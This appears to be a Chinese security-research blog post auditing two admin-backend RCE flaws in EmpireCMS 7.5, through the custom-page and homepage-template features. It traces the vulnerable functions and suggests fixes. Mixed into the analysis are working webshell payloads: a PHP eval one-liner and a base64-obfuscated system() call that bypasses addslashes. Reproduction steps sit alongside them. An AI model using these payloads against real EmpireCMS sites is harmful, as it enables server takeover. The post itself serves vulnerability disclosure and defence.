帝国(EmpireCMS)7.5的两个后台RCE审计

帝国(EmpireCMS)7.5的两个后台RCE审计

原文首发于先知:https://xz.aliyun.com/t/6228

后台RCE-增加自定义页面

漏洞复现

这个漏洞挖掘最初来源于qclover师傅:EmpireCMS_V7.5的一次审计

但是在这篇复现的文章中还是有一些出入的地方,比如说getshell的具体位置和成因。这里重新跟进分析一下

首先看一下getshell的流程,这个洞有点像黑盒to白盒
image_1dje3gco735q1k5m1f11n071a634r.png-328kB

增加页面功能,会在程序根目录生成一个shell.php,访问为phpinfo结果
image_1djdll0r410dk6ktm7stsgrlm.png-248.3kB

但是在我写入其他木马时,例如<?php @eval($_REQUEST[hpdoger]);?>,根目录却生成了一个空的shell.php文件
image_1djdlqbum1gj217cp2d61d5f1hi613.png-56.4kB

此时就有些疑问,推测真正的漏洞点应该不是在根目录写入一个php,应该另有它径,这里分析一下漏洞产生的真正成因。

漏洞分析

入口在e/admin/ecmscom.php代码48行,跟进函数AddUserpage
image_1djdm53uj1m201n781ncr7ednrr1g.png-431.1kB

重点关注两个参数的流程:path、pagetext
image_1djdm8m8l6ve645da3es96c51t.png-535.4kB

步入RepPhpAspJspcode函数

function RepPhpAspJspcode($string){
    global $public_r;
    if(!$public_r[candocode]){
        //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
        $string=str_replace("<\\","&lt;\\",$string);
        $string=str_replace("\\>","\\&gt;",$string);
        $string=str_replace("<?","&lt;?",$string);
        $string=str_replace("<%","&lt;%",$string);
        if(@stristr($string,' language'))
        {
            $string=preg_replace(array('!<script!i','!</script>!i'),array('&lt;script','&lt;/script&gt;'),$string);
        }
        //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
    }
    return $string;
}

这个函数用来对pagetext参数进行了php标签的实体化,但是empirecms默认public_r[candocode]为null,所以这里相当于直接返回了原始pagetext的值

继续回到AddUserpage函数,接着步入ReUserpage函数,在e/class/functions.php的4281行
image_1djdmv7bv17551oir15kv1do5sg42a.png-298.8kB

获取程序的根路径后拼接传入的path,而后DoFileMKDir在根目录建立了shell.php

接着步入InfoNewsBq函数,也是这个漏洞产生的函数。关键代码在e/class/functions.php的2469-2496行

image_1djdnbjo2pelbn91uh11ks21u8p2n.png-496.3kB

$file参数以php结尾,通过WriteFiletext函数向$file中写入上一步的pagetext(这里为$indextext),而WriteFiletext是没有任何过滤的

function WriteFiletext($filepath,$string){
    global $public_r;
    $string=stripSlashes($string);
    $fp=@fopen($filepath,"w");
    @fputs($fp,$string);
    @fclose($fp);
    if(empty($public_r[filechmod]))
    {
        @chmod($filepath,0777);
    }
}

于是在e/data/tmp目录下,以模版文件的形式写入webshell,同时也将AddCheckViewTempCode()返回的权鉴方法写了进去,所以我们不能直接以url的方式访问这个webshell。
image_1djdo4l1d1gte63t1qcb1a73aho4e.png-278.6kB

但是仍有方法使这个webshell执行并将结果输出。原因在下面这几行
image_1djdnjf5p1b2p1oan4pqn7bd2434.png-564.3kB

由于入口处定义了常量InEmpireCMS,ob_get_contents可以读取缓冲区的输出,而输出正好是刚才我们包含进去的shell的结果。因此执行了phpinfo()后将要输出到浏览器的内容赋值给了$string变量并返回,在ReUserpage函数中又进行了一次写入,缓冲结果写入的根目录下的shell.php,造成一个表面getshell的现象,其实是一种rce。

image_1djdnpbbj180fdns1d2h1bvd1neu3h.png-355.3kB

漏洞修复

设置$public_r[candocode]为true进行写入内容的过滤

后台首页模版处rce到getshell

承接上一个漏洞,整个empirecms不少用到ob_get_contents的地方,所以就想挖掘一下还有没有其他可以利用的点,最后把眼光锁在增加模版处。

漏洞复现

在后台模版功能处,选择管理首页模版,然后点击增加首页方案
image_1djp1p7ed1g6q1vs61qof19pb7cjm.png-226.2kB

复制下面的payload,填写到模版内容处,点击提交。

<?php 
$aa = base64_decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA);
${(system)($aa)};
?>

image_1djp1rm8v2kc1s6l1f3b1g59cjk1g.png-311.9kB

其中base64编码部分为

ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA
=>
echo '<?php eval($_REQUEST[hp]);'>shell.php

再点击启用此方案即可getshell,在e/admin/template/目录下生成shell.php

image_1djp21du0o250ocp31lnuad21t.png-64.3kB
image_1djp23v55qua1pa11b021uir1qmp2a.png-278.2kB

漏洞分析

在e/class/functions.php的NewsBq函数中调用WriteFiletext函数向/e/data/tmp/index.php中写入文件并包含
image_1djp2kjth3i01l78dg91q3g1lba2n.png-588.3kB

查找一下哪些地方调用NewsBq函数,最后锁定在e/admin/template/ListIndexpage.phpDefIndexpage
image_1djp2t8jo6ej1l7t1ui9t9i734.png-459.9kB

首先从库里获取得到$r[temptext]作为参数传入NewsBq,此时$class为null。那么文件内容可控吗?查看一下入库的语句,看看存不存在任意写入,全局搜索enewsindexpage

在同文件ListIndexpage.php的第23行到47行,调用insert语句向enewsindexpage中增加数据,关键代码如下

function AddIndexpage($add,$userid,$username){
    global $empire,$dbtbpre;
    if(!$add[tempname]||!$add[temptext])
    {
        printerror("EmptyIndexpageName","history.go(-1)");
    }
    ...
    $add[tempname]=hRepPostStr($add[tempname],1);
    $add[temptext]=RepPhpAspJspcode($add[temptext]);
    $sql=$empire->query("insert into {$dbtbpre}enewsindexpage(tempname,temptext) values('".$add[tempname]."','".eaddslashes2($add[temptext])."');");
    ...
}

调用AddIndexpage的入口为:

$enews=$_POST['enews'];
if(empty($enews))
{$enews=$_GET['enews'];}

if($enews=="AddIndexpage")
{
    AddIndexpage($_POST,$logininid,$loginin);
}

所以$add$_POST获取的数组,经过一次eaddslashes2函数清洗后以temptext字段存入库,而eaddslashes2在内部调用的是addslashes。猜想开发者最初可能只是为了防止sql注入,而没有进行其他类型过滤。但是我们执行任意命令是可以绕过addslashes的限制,取出来temptext字段来rce。

只需要用到复杂变量:PHP复杂变量绕过addslashes()直接拿shell

整理思路:入库rce语句->取出库->写文件->包含rce->getshell

漏洞修复

对入库语句进行过滤,建议在eaddslashes2中增加一些过滤机制

not found!